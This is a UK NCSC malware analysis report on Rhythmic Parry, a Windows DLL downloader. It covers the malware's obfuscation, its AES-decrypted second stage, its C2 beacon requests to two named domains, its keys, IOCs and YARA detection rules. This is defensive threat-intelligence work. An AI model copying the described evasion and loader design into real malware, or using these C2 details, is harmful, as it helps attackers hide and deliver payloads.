National Cyber Security Centre
a part of GCHQ

Rhythmic Parry

Malware Analysis Report

Version 1.0

10 January 2022

National Cyber Security Centre
a part of GCHQ

Rhythmic Parry

Windows downloader utilising anti-analysis techniques

Executive summary

- Rhythmic Parry downloads, decrypts and runs an AES-256-CBC encrypted payload returned by a Command and Control (C2) server.
- The payload is downloaded using either HTTP or HTTPS.
- Several anti-analysis techniques have been used throughout, including large sections of junk code.

Introduction

The NCSC was made aware of Rhythmic Parry in Autumn 2021; two variants were observed, both using scheduled tasks to maintain persistence. The malware is a 64-bit Windows DLL containing an export which, when called, downloads, decrypts and runs a second-stage payload retrieved from a C2 server.

National Cyber Security Centre
a part of GCHQ

Malware details

Metadata

Filename	LocalData.dll
Description	Rhythmic Parry 64-bit DLL downloader (HTTP C2).
Size	1128960 bytes
MD5	3633203d9a93fecfa9d4d9c06fc7fe36
SHA-1	628cf9ace06af1d0985fce3c5c39ab0773135c00
SHA-256	ff3ec235c80df9e9b340cdddc4d253b2c495446dd27158f9afb88d9b604a1dac
Compile time	2012/12/21 08:31:11

Filename	DiagView.dll
Description	Rhythmic Parry 64-bit DLL downloader (HTTPS C2).
Size	2058240 bytes
MD5	f3962456f7fc8d10644bf051ddb7c7ef
SHA-1	af895002b93854de0eb6f17dc4823a50c7bd08f5
SHA-256	03563997eb552d8a7278aa6aecffd05717dc36a1480795d06685ba7f1df3675f
Compile time	2012/12/21 03:10:26

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Execution	T1053.005	Scheduled Task/Job: Scheduled Task	Rhythmic Parry has been installed as a Scheduled Task to maintain persistence.
Defence Evasion	T1027.001	Obfuscated Files or Information: Binary Padding	Rhythmic Parry contains junk code with a consistent pattern, including unused exports and indirect calls.
	T1140	Deobfuscate/Decode Files or Information	Rhythmic Parry hard-coded configuration strings are XOR-encoded with a 6-byte key, then Base64-encoded.
Command And Control	T1071.001	Application Layer Protocol: Web Protocols	Rhythmic Parry uses HTTP or HTTPS to download a payload from a C2 server.
	T1573.001	Encrypted Channel: Symmetric Cryptography	Rhythmic Parry downloads a second-stage payload which is encrypted using AES-256-CBC with an IV of zero.

Functionality

Overview

Rhythmic Parry is a 64-bit downloader, targeting the Windows operating system. It is configured by a previous stage to be run as a scheduled task via `rundll32.exe` at each logon as SYSTEM. It contains succinct functionality to download, decrypt and execute a payload in memory. The malware communicates with a C2 server over HTTP (`LocalData.dll`) or HTTPS (`DiagView.dll`).

A large part of the design of Rhythmic Parry centres around obfuscation and anti-analysis. Imports used by the malware are dynamically resolved from obfuscated stack strings, configuration strings are under Base64 and XOR and there are significant amounts of junk code.

Configuration

There is no structured configuration for the malware; obfuscated strings are present throughout and are decoded prior to use. They appear as Base64 strings in the binary, but the strings are also under a 6-byte XOR. Configuration strings include C2 information such as HTTP parameters, an ID value, a mutex and file names. There are two implementations of the configuration string decoding routine used throughout the malware - one decodes ASCII strings and the other decodes Unicode strings.

Once decoded, log file and mutex names have a consistent pattern; they are short 8-character alphanumeric strings. XOR keys, AES keys and most configuration strings (including mutex and file names) are unique to each binary. The AES key used to decrypt the beacon response is Base64-encoded, but not under a 6-byte XOR. If the configured mutex is already present on the system, the malware will exit.

DLL name	XOR key
LocalData.dll	`0x746450656E6F71`
DiagView.dll	`0x57564A574F4153`

Table 1: XOR keys used in Rhythmic Parry variants

Error logging

Rhythmic Parry creates a log file in the temporary directory and initialises it to contain four zeros; the temporary directory is resolved by a call to `GetTempPathW`. The name of the file is a configuration string (discussed in the 'Functionality (Configuration)' section) without a file extension. This log file appears to be intended to maintain an incrementing count of the number of times that an error has occurred, which is reset to four zeros when a payload is successfully downloaded. However, upon encountering an error, and before incrementing the counter, it checks for the presence of the log file using `GetFileAttributesExA`, but it passes in a wide file path. This returns an error, meaning the counter is never incremented.

Defence evasion

Rhythmic Parry hides its imports by dynamically resolving libraries and functions using obfuscated strings which are under a 1-byte XOR. In both observed samples the XOR key is set to 0x00, meaning the characters appear in plaintext.

The Rhythmic Parry samples are very different in size, despite having nearly identical functionality. The size difference is purely down to the amount of junk code contained within them. During analysis, `DiagView.dll` contained noticeably more junk code. There is a consistent pattern to the junk code indicating the same process was applied to both variants. The malware uses indirect calls (call to jump) throughout to frustrate analysis by fragmenting code.

Rhythmic Parry contains multiple exports, only one of which appears to contain functional code; the others contain solely junk code that is never used. A list of the export tables for each can be found in the 'Appendix'.

The malware exits gracefully if it cannot find the file `c:\windows\explorer.exe`. This check will ensure the malware is running in a full Windows environment and not in an emulator.

Payload decryption

Rhythmic Parry uses the Microsoft CryptoAPI to decrypt the data returned from the C2 via HTTP(S), as discussed in the 'Communications (Command and control)' section. Prior to decryption, the HTTP(S) beacon response is Base64-decoded. The malware uses AES-256 in default mode which sets the initialisation vector (IV) to zero and the mode to CBC. The key is hard coded as a configuration string, discussed in the 'Functionality (Configuration)' section.

The decrypted data consists of a SHA-256 hash followed by the payload. The hash is compared with the SHA-256 hash of the payload, to verify its integrity. If the hashes do not match, the payload is not executed.

DLL name	AES key
`LocalData.dll`	`x7dFtwsw5grqnxqcfVK68ndHxgIZEl7k`
`DiagView.dll`	`UGrJd6hgiAOEOiFO8kRYc1or9DdK5K5Y`

Table 2: AES keys

Second-stage execution

The payload returned by the C2 is executed in a new thread within the existing process. If hash verification of the payload succeeds, the malware generates and executes a fixed length 12-byte trampoline stub which jumps to the address of a local subroutine responsible for loading the payload. This creates an additional layer of separation between creation of a thread and the payload.

Prior to executing the downloaded payload, the new thread dynamically resolves the addresses for the following functions: `LoadLibraryA`, `VirtualAlloc`, `VirtualFree` and `NtFlushInstructionCache`, passing these along with the address of `GetProcAddress` as arguments when calling the payload. These functions are generally observed in use by shellcode, however they are often resolved by the shellcode itself, not the loader.

The malware continues to beacon, even if it successfully downloads and executes a payload.

Communications

Command and control

Rhythmic Parry communications consist of a single HTTP(S) GET request and response. If an HTTP status code of 200 is returned by the C2 server, then the malware proceeds with parsing the response as described in the 'Functionality (Second-stage execution)' section of this report. The default ports of 80 and 443 are used.

Figures 1 and 2 show the beacons for the respective samples. Both contain a hardcoded ID parameter, in the form of a UUID, but they are in different locations within the request. Both samples use the same User-Agent and appear to use URLs that are intended to blend in with traffic to WordPress sites. The UUID values have been removed as it is believed these are victim specific. They are in the standard UUID format i.e. `[a-f0-9]{8}-(?:[a-f0-9]{4}-){3}[a-f0-9]{12}`.

```
GET /wp_info.php HTTP/1.1
Host: theandersonco[.]com
id: uuid
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
```

URI	Hostname	UUID

Figure 1: Beacon from `LocalData.dll`

```
GET /wp-getcontent.php?contentid=uuid HTTP/1.1
Host: tomasubiera[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246
```

URI, including UUID	Hostname	UUID

Figure 2: Beacon from `DiagView.dll` (under TLS)

The malware contains a separate network callout which contains a mistake, preventing it from ever succeeding. The reason for this is it decodes a configuration string (discussed in the 'Functionality (Configuration)' section) which is the C2 domain prepended with `http://` (in `LocalData.dll`) or `https://` (in `DiagView.dll`), which it passes as the `lpszServerName` parameter. This is invalid, as `InternetConnectW` expects only the hostname. The callout uses the same decoded User-Agent as the successful beacon, but has no other parameters set; it is also configured to use port 80 in both samples.

Conclusion

Rhythmic Parry is a custom downloader of medium sophistication, which is stored on disk and maintains persistence. It is unclear if the mistakes found in the malware are genuine, intentional, or the remnant of test code. Regardless, they do not impact on the overall functionality of the malware.

Rhythmic Parry can be characterised by its structure, flow, and functionality all of which is consistent in both observed samples, despite the slight difference in implementation due to the varying levels of junk code. The junk code is an important attribute of Rhythmic Parry, with observed samples having recognisable patterns of junk code and similarities in the import tables.

The pre-resolution of APIs for the second-stage payload is notable, as shellcode is often written to be fully self-sufficient. This approach removes the requirement for the shellcode to contain code to resolve useful APIs. API resolution techniques are well documented, so this approach reduces the size of the shellcode, obfuscates its functionality, and potentially protects it from generic in-memory signaturing opportunities.

Detection

Indicators of compromise

Type	Description	Values
Domain name	C2 domain, LocalData.dll	theandersonco[.]com
Domain name	C2 domain, DiagView.dll	tomasubiera[.]com
Mutex	Mutex name, LocalData.dll	YpqlzSab
Mutex	Mutex name, DiagView.dll	j7vRUGBW
File name	Log file name, LocalData.dll	gPgF1Jdz
File name	Log file name, DiagView.dll	ifNEDf0Z

Rules and signatures

Description	Base64 and XOR encoded strings which in plaintext appear in both samples of Rhythmic Parry.
Precision	Specific to Rhythmic Parry, no indications of FP in testing.
Rule type	YARA

```
rule rp_config_strings {
    meta:
        author = "NCSC"
        description = "Base64 and XOR encoded strings which in plaintext
appear in both samples of Rhythmic Parry."
        date = "2022-01-10"
        hash1 = "628cf9ace06af1d0985fce3c5c39ab0773135c00"
        hash2 = "af895002b93854de0eb6f17dc4823a50c7bd08f5"
    strings:
      $LD_UA =
"OQALACoADAACAAMAEABbAFEAfgBVAE4ARwAmAB0ACgA0AAoAGQAcAFEAOgAwAHAAVABeAEEA
QQBPAEQABwAMAAAAWQBFAE8ARAAoAFMAWgBGAFEANQAUACAACQALADgAFAAWAC8AOQARAEEAW
gBCAEMASgBjAFMATgBHADoAPAAwAB0AKQBCAE8AHQAdAA8ANQBFACkACgASAB8ACwB5AEUALQ
AHAAMAGwAJADUASgBaAF0AXwBEAEoAYgBWAF8AXgBfAEUAVwBlAEUAPQAOABcAFQAWADkASgB
bAFwARgBaAFcAZgBFACsACwAWABEASwBhAFcAQABdAEUAQgA=" wide
      $DV_UA =
"GgA5ADAAPgAjAC0AMgB4AGMAZABnAG8AaQAEAD4AOAAuADgAOAAyAHMAGQACAGoAZgB/AG8A
YwBsAHYAHQA+ACEAdwBnAGwAdgAyAGEAewBoAHMAFgAmADoAOwAqABYANgA1AB0AIwAjAGAAd
ABgAGAAeAB5AGEAbwBpABgAHwACAAcAGwBjAGEAPwA+AD0ALwB3AAgAJAAwADwAOQBjAHcADA
ApACEAOAA7AC8AeAB7AHMAfQBnAHgAeABkAH4AcAB9AGYAZQB/AHcAHAAgADUANgAkACMAeAB
6AHIAZAB5AGUAfAB3AAoAJQA0ADIAeQB7AGUAYQBzAGcAYQA=" wide

      $LD_EXP =
"FwBeAAwAOQAZAAYAHwAQAAsAJwAWADIAMwAUAAwAFAA8AAoAHAAKAAMAWgABACgAAAA="
wide
      $DV_EXP =
"NABsABYACwA4ACgAPQAzADkAPQAkABMAHQA2AC8AJgAmADgAPQAkACEAeQAzADIAMgA="
wide

    condition:
      uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2
of ($LD_*) or 2 of ($DV_*))
}
```

Description	Highlights common junk code sections identified in both Rhythmic Parry samples.
Precision	Specific to Rhythmic Parry, no indications of FP in testing.
Rule type	YARA

```
rule rp_junk_code {
    meta:
        author = "NCSC"
        description = "Highlights common junk code sections identified in
both Rhythmic Parry samples."
        date = "2022-01-10"
        hash1 = "628cf9ace06af1d0985fce3c5c39ab0773135c00"
        hash2 = "af895002b93854de0eb6f17dc4823a50c7bd08f5"

    strings:
      $post_writefile = {C7 84 24 ?? ?? 00 00 00 00 00 00 48 8B 84 24 ??
?? 00 00 48 89 8C 24 ?? ?? 00 00 48 89 C1 48 8D 05 ?? ?? ?? 00 89 94 24
?? ?? 00 00 48 89 C2 41 B8}
      $temp_path_a = {41 B8 C8 00 00 00 89 8C 24 ?? ?? 00 00 44 89 C1}
    condition:
      uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
filesize > 500KB and (#temp_path_a > 30) and (#post_writefile > 12)
}
```

Description	Import obfuscation is achieved by pushing immediate character values onto the stack while applying single byte global XOR to each, the global XOR is reinitiated each time it is applied. This rule highlights the four-instruction sequence to achieve this.
Precision	No indications of FP in testing, however the technique is not thought to be unique the Rhythmic Parry.
Rule type	YARA

```
rule rp_import_obfuscation {
    meta:
        author = "NCSC"
        description = "Import obfuscation is achieved by pushing
immediate character values onto the stack while applying single byte
global XOR to each, the global XOR is reinitiated each time it is
applied. This rule highlights the four-instruction sequence to achieve
this."
        date = "2022-01-10"
        hash1 = "628cf9ace06af1d0985fce3c5c39ab0773135c00"
        hash2 = "af895002b93854de0eb6f17dc4823a50c7bd08f5"

    strings:
      $char_sequence_eax = {0F BE 05 [4] 83 F0 ?? 88 C1 88 8C 24 [4] 0F
BE 05}
    condition:
      uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
#char_sequence_eax > 20
}
```

Description	Hash comparison routine used to check downloaded payload in Rhythmic Parry samples.
Precision	Specific to Rhythmic Parry, no indications of FP in testing.
Rule type	YARA

```
rule rp_hash_payload {
    meta:
        author = "NCSC"
        description = "Hash comparison routine used to check downloaded
payload in Rhythmic Parry samples."
        date = "2022-01-10"
        hash1 = "628cf9ace06af1d0985fce3c5c39ab0773135c00"
        hash2 = "af895002b93854de0eb6f17dc4823a50c7bd08f5"
    strings:
      $hash_1 = {0F BE ?? ?? 48 8B 44 24 ?? ?? 63 ?? 24 ?? ?? 0F BE}
        $hash_2 = {0F 84 08 00 00 00 C7 44 24 ?? 00 00 00 00 E9 00 00 00
00 8B 44 24 ?? 83 C0 01 89 44 24 ?? E9 ?? ?? FF FF}
      $hash_3 = {C7 44 24 ?? 01 00 00 00 48 8B ?? 24 [1-5] 48 89 44 24 ??
48 83 [3-6] 00 0F 85 0D 00 00 00 C7 44 24 ?? 00 00 00 00 E9}

    condition:
      (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and
all of them
}
```

Description	Targets the XOR routine used to decode configuration strings in both observed Rhythmic Parry samples.
Precision	Specific to Rhythmic Parry, no indications of FP in testing.
Rule type	YARA

```
rule rp_xor_routine {
    meta:
        author = "NCSC"
        description = "Targets the XOR routine used to decode
configuration strings in both observed Rhythmic Parry samples."
        date = "2022-01-10"
        hash1 = "628cf9ace06af1d0985fce3c5c39ab0773135c00"
        hash2 = "af895002b93854de0eb6f17dc4823a50c7bd08f5"
    strings:
      $xor_1 = {48 8B ?? 24 ?? [0-3] 48 63 ?? 24 ?? [0-3] 0F B? 14 ?8 48
63 ?? 24}
        $xor_2 = {45 31 C0 89 54 24 ?? 44 89 C2 48 F7 ?? 24 ?? [0-3] 44
(0F BE 84 14|8A 8C)}
        $xor_3 = {00 00 66 45 89 C1 45 0F B7 C1 44 8B 54 24 ?? 45 31 C2
66 45 89 D1}
    condition:
      (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and 2
of them
}
```

Appendix

Dll Name	Export Name	Ordinal
LocalData.dll	CreateStatusWindowAs	1
LocalData.dll	ILCreateFromPathAs	2
LocalData.dll	InitCommonControlss	3
LocalData.dll	LocalData (Malicious Export)	4
LocalData.dll	StrStrAs	5
LocalData.dll	fdEFKStrStrAs	6
DiagView.dll	DataView (Malicious Export)	1
DiagView.dll	DragFinishs	2
DiagView.dll	GetEffectiveClientRects	3
DiagView.dll	ILClones	4
DiagView.dll	ILIsParents	5
DiagView.dll	RemoveWindowSubclasss	6
DiagView.dll	RestartDialogs	7
DiagView.dll	SHSimpleIDListFromPaths	8

National Cyber Security Centre
a part of GCHQ

Disclaimer

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.